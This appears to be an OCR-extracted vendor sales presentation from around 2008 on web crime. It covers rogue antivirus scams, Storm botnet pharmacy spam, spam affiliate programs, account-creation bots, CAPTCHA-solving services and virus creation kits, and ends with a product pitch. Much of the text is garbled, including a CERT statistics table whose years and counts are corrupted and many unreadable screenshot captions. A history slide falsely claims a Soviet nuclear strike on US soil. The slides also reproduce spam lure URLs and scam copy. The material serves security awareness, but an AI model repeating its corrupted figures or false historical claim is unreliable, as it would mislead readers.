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CISCO

and Web 2.0- A
Criminal's Dream

Present By: Nattaka K.
IronPort Sales Manager (Thailand)
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= [[lustrate successful criminals, their methods and profits

= Understand primary methods of criminal revenue
generation via web abuse

= Explain fundamental weaknesses in HTTP, web
browsers, DNS and web servers that make criminals so
successful

= Show real-world examples of malware delivered via
SQL injection to highly-trafficked legitimate European
websites

= Describe client and gateway web security solutions
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Agenda

= Web Fuels Criminal Profits
= Web 2.0 Abuse

= Understanding the Problem in Five Parts
1. Social Engineering
2. What's on that Web Page
3. Web Browser Ecosystem Vulnerable
4. Malware Defeats Anti-Virus Signatures

5. Web Servers Vulnerable

= Solutions
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= The history of the internet started in the early 90’s or

even the 80’s
= 1950’s has the Korean War

= Soviet Union launching nuclear weapons against US

soil / the launch of the Sputnik satellite in 1957

= DARPA (Defense Advanced Research Projects
Agency) / in the late 1950's
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WORLD WIDE WEB

The World Wide Web was actually created in 1989,
however the World Wide Web was introduced publicly
on August 6, 1991
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Security (CERT/US-CERT) Stats:

Date Incidents Advisories Vulnerabilities Tech Alerts
1988 o 1

1985 132 7

1990 252 12

1991 406 23

1992 T3 21

1993 1,334 15

1994 2,340 15

15995 2,412 18 171

1994 2,573 27 345

1997 2,134 238 311

1998 3,734 13 267

1995 9,85L5 17 417

2000 21,756 22 FNE

2001 L2,653 37 2,437

2002 842,094 37 4,129

2003 137,529 23 3,784

2004 3,780 27
2005 5,990 27
200601-3 b, 340 31




Web Fuels

Criminal Profits




» $60K from Adware on
400K PCs

& Gel FREE content and get PAID! 1.‘

Videos, Games, Audio, Software s

oSt

* Loudcash (now ZangoCash)
$0.40 per install

“Every day 7,500-10,000
ZangoCash affiliates distribute our
Jeanson James Ancheta software to users who are then
connected with more than 6,000

MetricsDirect advertisers.”
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Smartbot.Net Malware
= Opened CD-ROM tray

= “If your cd-rom drive’s open . .
.you desperately need to rid
your system of spyware pop-
ups immediately! Download
Spy Wiper now!”

Spy Wiper and Spy Deleter
Sanford Wallace S(% fo,.p$30 b

$4M FTC judgment
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Security Center

Help protect your PC

ected spyware on your PC sending private information and

Mozilla/ 5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.5) Gecko,/ 20031007

Carmputer 05: Windows XP
Full PC cantral: Gained
Sent Information: approximately 17 Megabytes

Your current security software is unab stop this kind il

prevent further o i o s piimeaep el BEATHICE OCHOA

COMPMUITE R VIRLIS % A

Software name link s usability | performance i it

featyres |ToUNg update quality

yes  10/10 yes | 97%

anAntl;lg.!‘ys PRO’ yes | Basy 10/10 o

Also Known as Virtumonde, DriveCleaner



Criminal Ecosystem
Maiware Development and Distribution

Welcome to RAT Systems Crew Official website
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= Storm’s blended email/web attack created spam bots

Repurposed for BBC, CNN spam with scareware spyware URL

CNN.com YOURE-MAIL ALERTS

Alert Name: Breaking news

Man Emasculated During Prius Test Drive
Tue, 12 Aug 2008 17:05:49 -0400

FULL STORY

You have adreed to receive this email fram CHM.cam as a result of yaur CRR.cam preference settings.
To manage your settings click here.
To alter your alert criteria of frequency ar to unsubscribe from receiving custom email alerts, click here.

= Asprox originally password stealing trojan
Repurposed to find and SQL inject vulnerable web servers

Malware is scareware spyware
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= |nfects via social engineering

Website tricks user into installing

= |[nfects via Storm BBC email to infected landing page

Attempts web-based exploits and social engineering install

= |Infects via SQL-injection compromise of legitimate web
page

Visitors to legitimate web page exploited
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<2} XP antivirus - Microsoft Internet Explorer,

File Edit Wiew Favorites Tools Help

eBack . =) | \ﬂ \ELI _;\J /.._\"Search ‘?:IT'\T.:/Favorites {‘:{ - \-\," E 3

Address @htt [virus-scan-online . com/avxpscan/_freescanaddb, html7aid=580454 b E

WARNING!I Quick System Scan Results E|

XP antivirus Online Scanner detected
dangerous spyware on your system!

Detected malicious programs can damage your comp{r_r} and compromise
your privacy, It is strongly recommended to remove them immediately.,

Mame Type Risk level
‘3 Spyware.JEMonster.b Spyware CRITICAL
'a Zlob.PornAdvertiser.Xplisit Spyware High

£ Trojan.InfoStealer.Banker.s Trojan Medium

[ Remave All ] [ Ignore
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'.:-'\.Se_curity Task Manager Unregistered shareware version

Flle Edit VWiew Help ISTER

J‘E‘ Wwindows plocesses| H Remove  3%) Duarantine a Google [ @ Bup How ]

MHame Fi ating CFPU Memory  File Type Tithe, D escription
prhicgt] 0ep37. exe ; 2% 34MB CRWINDIWS apstern32hp) LEne Program
AP 2008instal[1] exe 1
t@' thelt1j0ep37 exe
Iphcat] j0epd? exe
Wirtual b achine & dditions

[ wirtual Machine Additions
[ virtual Machine Additions
CTF Loader

LS4 Shell [Export Yersion)

Generic Host Frocess for Win32 Services '—..— threats. It is recommendEd tO

Generic Host Process for 'Win32 Services

Generic Host Process for Wind2 Services W ° »”
Generic Host Process forWinz Services : 4 p rOCEEd Wlth re mova I

Application Layer Gatewap Service Update

windows MT Session Manager Antivirus XP 2008 E

Clignt Server Runtime Frocess ﬁ everity | Status | =
. ‘indows NT Logon &pplication (TN Antivirus P 2008 has found 2794 threats, It is recommended to proceed with removal, Jigh Infected!

Services and Controller app edium  |nfected!

Generic Host Process for Win32 Services Kriown viruses @ 1025 ‘fes Mo | igh Infected!

Spooler SubSystem App igh Infected!

Sygtemn Win32/IRCBotAdH The IRCEBot.2fH malware family is a group of bat ... High Infected! 233

Syztem idle Q ‘Win32/IRCBot AaH The IRCBot.A&H malware family iz a group of bot ... High Infected!
3. Windows Messenger Q Wind2/IRCBaot A4H The IRCBot.ASH malwars family iz a group of bat ... High |nfectad! Windows Mes
Q Security Task Manager @ Wirus win CIH D angerous wirus. It destiucts your computer BIOS . High Infected! r

“windows Security Center Motification dpp Q Win32/Adware Sear...  Program iz uzed to direct a browser to display pop-.. High Infected! itz
ﬂ Automatic Lpdates Q Win32/RCBat AdH The IRCBot.A4H malware family iz a group of bot ... High Infected! p to date.
@ Intemet Explarer 6 Wind2/adwreVitum...  Yirug applications used to deliver advertizements £, Low Infected! ft Intermet Expl
g Windows Explorer GE; Mlat’fimal _ﬁ ‘win32/ToolbarMyw...  Toolbar which includes a search function that dire...  Critical — Infected! | |[Blume

ealtime e mmm e S mem e Lo . o .

¢ Protection f.l I_'I—I

with Antivirus 5P
wr Security Task Manage e ‘
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Address @ http: e antivirusxp-08, net/buyv)dacd94f 1 4c6a1 b2 4ba0d 27Fb 705 a59a0

—

= Antivirus XP 2008

Buy

AUD 59 .95 Pay by credit card |

Antivirus XP 2008 Standard edition + 1 year free updates
Scanner + Spyware Remover + Real-Time Protection + bonus features
PRICE:AUD 59,95 (This is a Cne Time Only Charge, vour credit card will
never be rebilled and yvou will receive UPGRADES FOR FREE!)

AUD 126.95 Payby credit card |

Antivirus XP 2008 Standard edition + 3 years free updates
Scanner + Spyware Remover + Real-Time Protection + bonus features
PRICE: AUD 126.95 (This is a One Time Cnly Charge, your credit card wil
never be rebilled and vou will receive UPGRADES FOR FREE!)

Instant Access. Discreet Billina. Secure Procedure by conveniently usina our
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Warning!

Spyware detected on your computer!

Install an antivirus or spyware remover to clean your computer

Wyarning! Ywin3 2fadware virturmonce
Detected on your computer

Wyarning! Win3 2/PrivacyRem over M4
Detected on your computer

Please activate your antivirus software to Clean your computer




Removes Desktop and Screen Saver tabs from

(@]

(o

/':j Search [{ [

Themes |ADDearance || Settings | I~

A theme is a background plus a set of sounds, icons, and other
elements to help vou personalize vour computer with one click,

~

Therme:

Accessibility Display

Qw Switch ko Category Wisw Options
G\] sample: e
—J

Falder Option) ebiork,
% windows Update , ; - — rinections
Active Window

@) Help and Suppart s .| oy

See Also

Metwork ety heduled
Wizard Tasks

v

Security
Center

_u
e

Wireless
Metwork Set, Cancel
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= Affiliate program run by _—_—

Bakasoftware, advertised 37943 {659 P
on GlavMed 39595 19722 74 542064
41687 16619 354 Z8148,96

= Bakasoftware.com entirely 38059 16038 249 | 13908.24
in Russian, will not infect s L e | el

_ _ 29968 12076 207 11672.71
RUSS|an'Speakmg users 13293 6866 179 6920,51
- _ 16055 5915 157 7557.25

= Affiliate earned in 10 days o = T e
through 154,825 AV XP 08 50457 22463 464 | 2108529
installations and 2.772 338159 154825 2772 147116.22

, Loads Installs Purchases Total

purchases ($5M/year)

Source: http://www.secureworks.com/research/threats/rogue-antivirus-part-2/?threat=rogue-antivirus-part-2



ALLPRODUCTSLIST HOWTOORDER ABOUTUS  CUSTOMER SERVICE COMTACTUS

Erection Pack™ o=

Try our SPECIAL ERECTION

nPharmac

L FESTINATIHONG

10 PILLS + 10 PILLS

CIALIS VIAGRA f.-“-':'rlril-’

) bEsd ED
' I Q&
and FREE shipg
lmited affer - valid til 10§
Juni onbyl '

PRODUCTSLIST | [ eoch [ MOST POPULAR PRODUCTS
| > Memsllealh e R
Cializ Soft Tabs bestosiiar Just fke reguiar Clalis ot specially

formwialed, these pilfts are sofft and

dizsoivable ypder the tongue, The effect m 3 w
of ths 15 maore divect absorpiton info the n
Dloodstream,  rather than thropgh ine

stomach. Resuft — & powerl, fasting

eftect of up o 36 hoors

Yiagra Professional bHesizelier
Wiagra Soft Tabs bestzelisr
Cialis besisaller

Generic Wiagra besisailer
Levitra bestsslar

Masarman
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= Estimated at $100M/year

= Monitored “Zombie Proxy” and counted number of
credit card transactions per hour

= Comparables—Christopher Smith (rizler) profits > $20M

= Confirmed with law enforcement and SpamHaus



Example #3: Storm/Canadian Pharmacy/Glavmed

From: Sender Unspecified
Date: Thursday, January 17, 2003 5:14 4
To: none

Subject: Dream ko be a heroin ber bed?

Hardship with wour mtimate relations”
httpffur besthloodszo. com




Spam and Phishing Campa
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= Storm has sent a number of spam campaigns including
Phishing financial institutions
Mule recruitment spam
Pump and Dump stock market manipulation image spam
Pump and Dump stock market manipulation MP3 audio spam

Pharma spam for Canadian Pharmacy

= The vast majority of Storm spam has been for
Canadian Pharmacy



B Your cart: $0.00 (0 itemns)
& Proceed to Checkout »

£

Home Bestsellers |  Allproducts = FAQ  Contactus

P o o

s

LY

Canadian @ Pharmacy

#1 Internet Online Drugstore A=

#. H

ForOrder more than 53
T2 VIAGRA PILLS

Penis

o 11 x Viagra Y Growth Pills
E : oY 4 100 mg 1 bottle x s0caps
= (Forother Orders: = 10 x Cialis : : 30 pills
4 4 VIAGRAPILLS i i 0 me anlzi?;mhzgﬁ 100me
ORDER NOW ORDER NOW

+ Bestsellers : ORDER NOW T T
' Male Enhancement

Searchbyname: AB CDEFGHIJKLMHNOFORSTUVYWY Y Z Search: | | €&
& Men's Health z
' Female Enhancement Today's Bestsellers
O Weight Loss Yiagra Cialis Viagra
............................ . . 1 Professional
© Body-Building Our price QU price

$1.43 $2.23 Our price

@ Hypnotherapy : : £3.73
@ Sleeping Aid More irifo @ Add to cart . Moreinfo @ Add to cart . Moreinfo @ Add te cart

Licensed h].r The Cullege of Pharmacists of British Columbia.

If wiou ha g J : all can cortact ’[I"|E' college .-.|’[ 200- 'I-'h'-' Stk A y B SCE
You ma
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= There have been many theories about the relationship
between storm and storm spam

= A capacity issue unveiled the primary relationship

& Fw: BIGGER HARDER DEEPER!

Il_lf'5_<|

o % w 5 X | O .

© Fle Edit VYiew Tools Message Help

Reply Reply &l Forward Prink Delete
Fronm: Sender Unspecified
Date: Friday, March 14, 2008 3:37 &M
To: nane
Subject: Fw; BIGGER HARDER DEEPER.!

Just Do Her. httpfruzy.

<head=

<meta http-equiv="Content-Type"
content="texthtml;
charset=windows-1251">

<titlef Spamlt com§ititle>

<linlk rel="stylesheet"

href="casfstyle cas" type="texticss">

~&fhead=
anm»#’“‘\‘w wadll

— s L

A e e A

,:::trf_‘: L *‘_" - o T T [
<td style="padding-left: 16 2pz">
<diw

style="paddmg-bottom: Spa padding-top: 26px; font-size:
1dpx"=<hr

f=<strong>The systetn 13 temporary busy, try to access it later.
Mo data

can be lost <fetrong=</div=

<ftd=

§_|:.1as s;'Tl-élfl:":’

<div=[opyright &copy, Spamlt.com 2007 | Al ights

R I S
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Spamit.com service manages spam domains and fulfillment
Registers spamvertized domain, creates DNS records, NS servers, websites

Botnet owners using Spamit service receive feed of live spam sites

The Storm botnet retrieved a list of domains but received

“The system is temporary busy, try to
access it later. No data can be lost.”

Storm used this string and other website boilerplate in the spam

Proven link between Storm, Spamlt.com and Canadian Pharmacy
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Report for: 27 11 2007—27.11 2007

Customer email Order description Approved Commission

2007-11-27 21: 13 solvethe com B @bluewin ch X 1xViagra 90 pillsx 100 mg—$176.4 Yes £93.6
1x Prozac 60 pills x 20 mg — $57.6

2007-11-27 16: 15 solvethe. com i @tiscali it ™ 1x Cialis Soft Tabs 10 pillsx 20 mg — $65.97 Waiting -
1x Viagra Soft Tabs 30 pills x 50 mg — $66.25

2007-11-27 12: 59 thereprod i ion@tele2. ch & 1x Cialis Soft Tabs 30 pillsx 20 mg— $131.97 Yes £52.79

Total 3 2/0/1 $146.39

Spamit.com customer login page showing
sales and commissions

Source: Joe Stewart, Secure Works



WELCOME TO GLAVMED

GlavMed is a BEST way to convert your pharmacy traffic into real money. Forget
about miserable sums you're getting sending your visitors to PPC pharmacy.

You're loosing at least half of YOUR money converting traffic like this. GlavMed
offers you a possibility to eliminate any agents and sell most popular pharmacy
products directly. It means 30-40% revenue share.

FEATURES & BENEFITS

o

S

HIGHEST INDUSTRY MOST POPULAR BIWEEKLY PAYMENTS AND
COMMISSIONS PHARMACY PRODUCTS PAYOUT-ON-DEMAND
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TOP CONVERTING SITES

“We take care of their entire shopping
experience: fulfillment, customer
service, and shipping, and we track the
sales generated from your site.”

TheCanadianM™eds.com
name - UM ToBapa Ratio 1:29

link - cchiika Ha cTpaHuiy more details o ToBaj
TOJIBKO B TOM CJIyuae eclii MpuaepAuBaeTeCh ¢

CTPYKTYPhl UMEH CTPaHHI])

price_per_item - MUHHMAaJbHAasA UEHA OJHOM Ta
TOBapax.

description - onucaHue ToRapa.

bundle (new) — aBIGETCA JIM TOBAP COCTABHBIM.

Documentation Excerpt for CanadianPharmacyl td.com
Configuring Web Sites Ratio 1:43




Web 2.0 Abuse




Web 2.0 Abuse

2003 introduced sophisticated spamming tools such as
Dark, Revolution and Reactor Mailer

(\ WELCOME TO == = 77 =, MAILER
r\'l')

)
— A

RE:VOLUTION Mailer benefits:

Early example of botnet-tool specialization to maximize profits

Web 2.0 is being monetized in the same way




Web 2.0 Abuse

= Commercial tools for
account creation, posting,
CAPTCHA’ IP rotation Who Else Wants to Create Unlimited

5 Targets: Gmail. Yahoo! Gmail Accounts in Seconds Flat
: ’ ’ Without Breaking a Sweat?
Hotmail, MySpace,
Craigslist, blog sites

= Enables abuse of many
services including webmail
account creation for
spamming

Introducing Jiffy Gmail Creator!

v e LOSETHE HEADACHE
Get The Tool!

- " The CL Auto Poster will Automatically
Post And Manage Your Craigslist Ads!

Professional Grade Software
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Contact Us

________ n Y _h Username:
! lavers, we suagest to frequntly change SRR I I
— -
their IP address after creating 2-2 Yahoo accounts or [leememberme | Sionin || B9
; 1
use Proxies for every single account, Yahoo doesn't : E
L = Forgot your password? E
raport any error on detecting same IP address again E |
and again but simply reject account creation with
generic message 'There was some error..." even What is new in G3C
signup form correctly filled. Automator Beta
What 15 new In GYC
-ADDIFF.com Support Team Automator
GYC Automator : Quick
start guide
GYC Automator Beta 3.1.0.9 Working without proxies
® Yahoo 'Invalid zip code’ problem is now fixad. —
Testimonials

® Re-write of sianun cnde for Gmail and Yahoo ta save from one extra

FOoALE O 910 TOUS LOL (9091 9Ud A9U00 29AG LLOWJ OUG GXLLY

“For Yahoo lovers, we suggest to frequently change their IP

address”




NMiilti_co
IVIUILITO

+tn ANr~rArint Cr + Al
LT hbbuu 1L I L 111l

Q)

ntnNr
Calvl —

2 G.Creator . | E@@

Ei‘.ll Create Accounts |ﬂ Manage.i‘-.ccl:nunts.' %{J F'rn:u:-cie:s e. HelpDesk Feedback/Request a Feature ‘Hl.-'] About

: [ Start £2 Registration |48 Exit ]

Seszzion Settingz Aocount Settings
Prefix for each account:
‘ Cugtomize Grnail Signup data ‘ (24 char mas) | —
R Suffix for each account: | |
Accounts to create @ |1 = | [24 char mas)
Number of threads - i-l :' Eenerate account D cuntalnlng
S ; P—— Numhers and alphabets W |
Wait [in sec] before starting new thread : |0 i |
N Fohe :
Length of account ID : 12 &
[ ] Clear log on startup pesithaout prefis and uffix] - -
P Setiniss [f total length of account (D [including prefis and suffis)

iz higher than total length pou zelected abowe ther it will

[ ] Use proxies be timmed to length selected in above bow,

Change prosy after eveny i1 3 ' account[z]

It iz STRONGLY recommended to uze proxies

for creating multiple accounts to avoid getting
BAMMED by Gmail.

Account creation Progress/Meszages

‘It is STRONGLY recommended to use proxies for creating

multiple accounts to avoid getting BANNED by Gmail”




How to Evade CAPTCHAS?

Completely Automated Public Turing test to tell Computers and Humans Apart

= Wide deployment of CAPTCHASs
has limited criminal success

= Required to create accounts, post
on forums, etc

= Response: automated and manual
CAPTCHA-solving

Type the code shown | |

=




Criminal Anti . CADTCLUA tnnlce
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= Remote CAPTCHA client
= 1000 CAPTCHAs for $1

= Wopla and Hotlan
botnets | |

43 seconds left

Welcome to our service!

We offer you a unique, open to general use of the service manal recognition CAPTCHA ( Completely Automatic Public
Turing Test to Tell Computers and Humans Apart) — pictures with code designed to protect owners of various web sites
from automatic registration.

With us working tens of thousands of people from all over the world who are ready for a small fee for your povvodit on the
proposed text with your pictures.
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= More than 100 products to abuse web 2.0 services

Social Networking Bots

*Note: All bots are undetectable and they all have built-in proxy support.
They randomly change referrers, user-agents and other headers to remain
undetectable. Thanks!

GOOD News!!! We have just integrated CAPTCHA
Bypasser* 1n all of our winsock bots.

*CAPTCHA Bypasser - We have just teamed up with a third-party
CAPTCHA service and integrated their service in all of our bots (optional).
You need to buy credits from a 3rd Party website, imagetotext.com and
just type your user/pass in our software (if you want the software to
bypass the CAPTCHAS) and everything is automatic from there - Just like
you type the CAPTCHAs manually, the software will bypass the CAPTCHAs.
We have added this service in our bots because we know that CAPTCHAS'
sucks :-) And on request of lots of our loyal customers, just like YOU :)



Understanding the

Problem
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Understanding the Pr r'ts
1. Social Engineering and User Behavior

2. What's on that Web Page

3. Web Browser Ecosystem Vulnerable

4. Malware Defeats Anti-Virus Signatures

5

. Web Servers Vulnerable



1. Social Engineering
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From: iI713payne@alldata.net Sent:  Sun 992007 11:45 PM
To: Sales Alias
o

Subject:  Free MFL Game Tracker[IronPork SPAM]

Foatball is back, Life may resume againl
Know all the games, what time, what channel and the stats.

every garme with our free game tracking system:
http: /59,247 209,124

Storm Trojan Emails — Classic Blended Threat

O

Franm; willyyug@clearfield. org Sent;  Sun 992007 10:23 PM
To: Craig Sprosts
Zci

Subjeck:  FOOTEALL! Are You ready?[IronPort SPAM]

|.fLrE vou ready for some foothall?
Don't mwis=s a thing because you didn't know, this season.

et all the info wou need from our online game tracker:
| http://89.0.60.76/

Where do these link to?

~+

@)

QD
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Dont Miss A Single game This Season... { Free NFL

Download Your Free Season Tracker and Sta
Up To Date With Every Game V | Semgl e

Week 1
Thursday, Time (EST) Top Passer Top Rusher Top Receiver
September 06
MO 10 @ IND 41 FINAL IND Peyton Manning: 288 Yds IND Joseph Addai: 118 Yds IND Reggie Wayne: 115 Yds
DIRECTV SIRIUS
Sanda, Time (EST) Tickets Network Channel HD Channel Home Away Westwood One
September 09
MIA @ WAS 1.00 PM Tickets CBS 709 123 130 119
ATL @ MIN 1:00 PM Tickets FOX 711 725 126 123
TEN @ JAC 1:00 PM Tickets CBS 707 158
CAR @ STL 1:00 PM Tickets FOX 712 726 147 146
PIT @ CLE 1:00 PM Tickets CBS 705 720 153 121
NE @ NYJ 1:00 PM Tickets CBS 708 7122 122 181
PHI @ GB 1:00 PM Tickets FOX 710 724 114 126
DEN @ BUE 1:00 PM Tickets CBS 704 719 110 143
KC @ HOU 1:00 PM Tickets CBS 706 721 140 107
TB @ SEA 415 PM Tickets FOX 715 726 119 147
DET @ OAK 415 PM Tickets FOX 714 725 126 123
CH @ SD 415 PM Tickets FOX 713 724 125 122

NYG @ DAL 8:15 PM Tickets NBC 83 122 126 Radio
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DIRECTY SIRILS
Sunday, October 14 Time (EZT) Tickets Metwork Channel HD Channel Home Ay Wiestywood One
Rl @ CHI 1:00 PM Ticket= Fo o5 20 153 107
LS e CLE 1:00 P Ticket= CBS Fos 110 143
WAS i B 1:00 Ph Ticket= Fx 706 721 140 114
HOL @@ JAC 1:00 PM Ticket= CBS 703 725 147 121
=TL @ BAL 1:00 PM Ticket= Fox o4 49 122 181
CIN i@ K 1:00 P Ticket= CB= 710 722 125 123
TEM @ TB 1:00 P Ticket=z CB= 11 723 126
PHI i@ My 1:00 P Tickets Fox oy 724 130 114
CAR @ AR 4:05 PM Ticket= Fox 2 724 121 147
AR @ =D 4:15 P Ticket= CBZ 714 725 114 126
ME @ DAL 4:15 PM Ticket= CBS 3 726 123 122
MG & SES 815 PM Tickets MBEC ek 126 122 Radio
DIRECTY =IRIUS
Mondsy, Octakber 15 Time (EST) Tickets Metwark Channel HO Channel Home Lanegy Wigstywood One
PYG @ ATL g.:30 P Ticket= ESPM 206 73 123 126 Radio

Byes: Billz, Broncos, Liong, Coltz, Steelers, 49ers

The Real NFL Site



Man you have got to tell mz where you picked her up. | saw this on the web, it has to be you.
check it out yourself hitp: A youtube. comfwatch?v=IHzbpJLfopl/

Where does this link to?

y—

You [T

Broadcast Yoursalf™

Your Download Should Begin Shortly. If your download does not start in approzmately 15 sec
vou can chclc here to launch the dewnload and then press Eun.




YE AND IN

The Official George W. Bush
"Days Left In Office”
Countdown:

389 DAYS
SHrs 34 Min 47.1 Sec

Lots of greetings on new year
Blasting new year

hittp: / /happycards2008.com/

M hul :TH FI IFI'-‘-.. I F

Congratulations you have
found our blog. We formally
invite youto become part of
our Demaocratic Social
group. Please bockmark this

site 5o you can keep an eye

Threat Blog Post—More Recruiting



alware D str Ibution Vectors
Web Social |g||| ering

= Anti-spyware engine “noadware” is a spyware agent

NoAdware.net

NOADWARE | FEATURES 'SUPPORT DOWNLOAD CONTACT

"YAHOO! SEARCH

. Web | Images | Video | Local ' Shopping  more ¥
| Vitumonde Search | Advanced Search

Remember days when
didn't have to be scared
. ¥ tobrowse the web?
Remove harmful adware, spyware, trojans, dialers, and worms!
Download and try NoAdware for free!

Virtumonde Removal
2006 Award Winning Spyware
Remover - Fix Virtumonde
Instantly.

www. SpyDiagnostic.com

' Search Results 1 -10 of about 269,000 for Virtumonde - 0,08 sec. (Absut this pd

¥ Alsotry. virtumonde removal, remove
virtumonde, vitumonde adware More...

SPONSOR RESULTS

e Virtumonde Remover
wiww. Spy Trackers.comn - Can't get rid of
Virtumonde? - Quick & Easy Vitumonde
Remaval.

Your PC is probably infected with adware & spyware
if:

* You have downloaded music online

+ ‘four PC is running extremely slow

+ You are pestered by those horrble popup ads
* Your homepage keeps changing

Don't let people invade your privacy and slow down
your PG! Try NoAdware for FREE and see for yourself if
your PC is infected!
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H .\7 Current Reviews: 5
SpywareRemoversReviewed =, Cmt
Carmparkeong of Top Spyware Remsvers ‘or 2007

Site: FREE Overall Populaity/  Easeof Adiditional Current St
{chick screenshot towisit) Scan Comments  Satisfaction Use Commerts Rating  Link
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% . oot O top chilce.
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SCAR WEEdS Ou Feally irpoves

Registry Fix = 1ha purik BC parfofmance.
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MyCanadiananmacy
Headguarters
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Pharmacy

WE SHIP WORLDWIDE TO ALL DESTIMATIOMNS!
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CONTACT US

Main Office (headquarters)

Pharmacy Corp.
1592 Wilzon Avenue,
Tororto, DM M3L 186

Dr. Jack Poppins studied reanimatology at Ontario Medical
State University in 1969, He worked as a reanimator in the
private clinic, White Ribbon, in Ontario until 1990, He became
one of the founders of the famous Jack Poppins clinic,
specializing in brain surgery in 1991 . In 1992, he completed his
PhD. on Alzheimer's dizease. He iz one of the founders of
CIPA (Canadian International Pharmacy Associstion). Over the
yvears, Dr. Poppinz has been an Associste Professor of
Etnergency Medicine at the University of Britizh Columbia,
Director of Professional Programs for the Justice Institute of Britizh Columbia [Parametic
Academy], and has alzo been invalved in many Phaze 3 studies looking at the safety and
therapeutic effects of a variety of medications and therapies. He iz married and has two
SOMS.
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1592 Wilson Avenue
Toronto, ON M3L 1A6




Deception Twenty Ways
= 18 more fraudulent elements including
Fake certificate
“All orders are received via a secure server'—no HTTPS
Fake Verisign logo
Fake BBB logo
Fake pharmacy checker rating
Fake Canadian International Pharmacy (CIPA) license number
Fake “Verified by Visa” logo

Mame: Fharmacy qa

Status: Valid %QHSIH FEzilm Eifg r

Validity Period: [10-MAY-06 - 10-MAY-08 S re
Country = CA |2 i V
State = Ontario % ER'F' ED
Locality = Toronto byVISA

—SFIED CANAG >
p ,.-‘(,_‘1 R Nan.c,, i

Q
BEB m@*
—1—- )
kb [y, RELIABILITY W

PROGRAM
BBBONLINE




2. What's on that

Web Page




— —— .._.-‘
2 view-source: Source of: hitp:/Awww.zenvendetta.comfironport/ - Mozilla Firefox |._||E||£|

File Edit Wew Help

<HTML >
<TITLE>A picture for yvou<d/TITLE>

o 1
- ure.lkifFDNT}

-
<FOHT SIZE=3D:Z FECE=3D"Arial"}:Ta

<P

Web site HTML
source code

""""""""""""""""""""""""""""" HTML in web page includes text

__________________________________________________

HTML includes
link to jpg image

Summary:

Initial web page object
iIndicates other
objects to be fetched
to complete page
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= Web pages usually consist of MANY objects
= HTML on page indicates objects to be fetched — from any server

= Each of these objects is retrieved with separate HTTP transaction

Discrete objects
| that each require a
[ w==" transaction

w8 ¢ YaH

Finance i~ TV iT Mavws i* ail v ¥Yahoo! Messenger
Select Category: m Images | Video | Audio | Directory | Local | News | Shoppi
Search the Web: | Yahao! Search I/ My Web

/ = Ad Programs

= Advanced
Yahoo! Answers: Ask 3 guestion | Answer gu

Yahoo! Sports - Coverage of asters: scores and tee times, news, and more
Hi, jeddaniels sign out EE Mail | Compose | Addresses
360" Horoscopes Movies Feal Estate
Autos HotJobs Music Shopping
Finance Kids My Yahoo! Sports
Games Local Mews Travel
EEDCIUES ['u?ﬂ” EEDP'E S,EErCh :I—:J,, s $£340 Dell Desktop - Ad Feedback
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* Browse spamvertized domain

kxbkhs.1ztalsole.com

_________________________

= What website do you see? e/ mre/an

2 —sh b Host: kxbkhs.lztalsole.com
Fa.TX7S00p.biz >> HTTP/1.x 302 Moved Temporarily

“Pharma ShOp” >> Location: http://r2.rx—shop.biz _______ !

= \Web site redirection

Host: r2.rx-shop.biz____._ .

Other Issues >> HTTR/L.x 200 OK ______!
= URL and URL obfuscation
= DNS and hosts file
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1. Registered domain bigamousetract.info
Registered with 1-877namebid.com
Registered by Tobyann Ellis in Longview, WA
+68 phone number, dublin.com email

2. DNS servers
‘NS’ Records point to DNS servers in Taiwan, Spain, US, Brazil
‘A’ Record for web server points to Korean Telecom IP

3. Web server
bigamousetract.info server on Korean Telecom network
Web site images from Brazil, Slovenia, France, Greece, Netherlands
Spammers obfuscate web site connection using redirectors, framing,
scripting, zombie proxies

4. Using “Fast Flux”
Location of web and DNS servers changing every five minutes



3. Web Browser

Ecosystem
Vulnerable
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Web Browser Ecosystem Vulnerable

SANS Top 20 2007 Security Risks
http://www.sans.org/top20/#c1

= |E and Firefox vulnerable

“...hundreds of vulnerabilities in ActiveX controls installed by
software vendors have been discovered.”

= Media Players & Browser Helper Objects (BHO)

RealPlayer, iTunes, Flash, Quicktime, Windows Media
Explosion of BHOs and third-party plug-ins

Plug-ins are installed (semi) transparently by website. Users
unaware an at-risk helper object or plug-in is installed ...
introducing more avenues for hackers to exploit users visiting
malicious web sites.




Mpack: 29.86% Infection Rate in Spain



4. Malware Defeats

Anti-Virus Signatures
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UNIQUE SAMPLES OF MALICIOUS PROGRAMS
Number of unique samplesa

&,000,000
Almost 5.5 million unique samples —s
5,000,000

1,000,000
800,000

E00,000

400,000
Under 10,000 unique samples

200,000

FEEFEEESEEFSIETEFE

SOURCE: AV-Teat

# of uniqgue Malware samples in 2007: 5.5M

[ # of unique Malware samples in 2006: 972K ‘ 500% increase in 12 Months ]
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182 virus tools at VX Heavens website vx.netlux.org
Example: NGVCK (Next Generation Virus Creation Kit)

Poly/Metamorphic tools create random variants
= Viruses download fresh copy every 24 hours
= Viruses use buddy program to reinstall virus if disinfected

VX Heavens <<prev index next>>
Homa A Quick & Easy Trojan Developing System

Author: Walt DiZnEy
Virus Creation Tools (182)

Page: [O][11[2]1[31[41[581[61[7Z1[8]1[2]
“IMYVICTUS" WX Library

FMODTHIE: s Macro Virus Creator 2000

Access Macro Generator

Acid Flowing Trojan Generator

Advanced Batch Mutator

Arbvancad Stesm Troian (Senasratnr

Author's notes: EasyTrojan is a program that enables *ANYORE to wirite
Feady To Run-Trojan Horses, Using a veny-easy-to-learn
Trojan-Writing-Code. EasyTrojan is not intended to replace "real"
programming in the developing of Trojan Horses, but it offers an invaluable
help to those who don't know anything about computer languages and want
to make Trojans, and also to programmers who are in a hurny and need a
Click-Feady-To-Run Trojan!

Download

Filename [Size|Desc Date MD5
7|2 azyt110.zipP3047 [QETDS 1.10]Dec 1393[a9ca97 200064 1088562507 abe 1525880




0% Mpack Trojan detection

Aypplicwin s
BhnT.alx—ww"5S
e o By e B e e i
Sssatherntivam
Dwrmm =t

e
Bitheffender
T —{naid ckKH==1
Lo =
DrrWelx

=Saife

=T rust—weT
Ewdido

Pl e fddnwea S e
ForCilmneTs
Ir—Fiot
F—Seocuare
TlkEART11=
Faspersk s
Moo FTee
Micocroscois
FODS a2
Mormmar
FParndas
SorEha=s
Sunlk=11t
Sermna T T e e
IThnelacker
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A rusBuster

Source: VirusTotal scan of Mpack malware
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Cisco Security Agent

Aiways Vigilant Comprehensive Endpoint Security

ldentify and Control
Sensitive

|nformation

Laptop — Desktop
Protection

Server Protection

MNAC

Corporate MNIFS

Acceptable Lse Wiireless
\FOD Traffic Marking
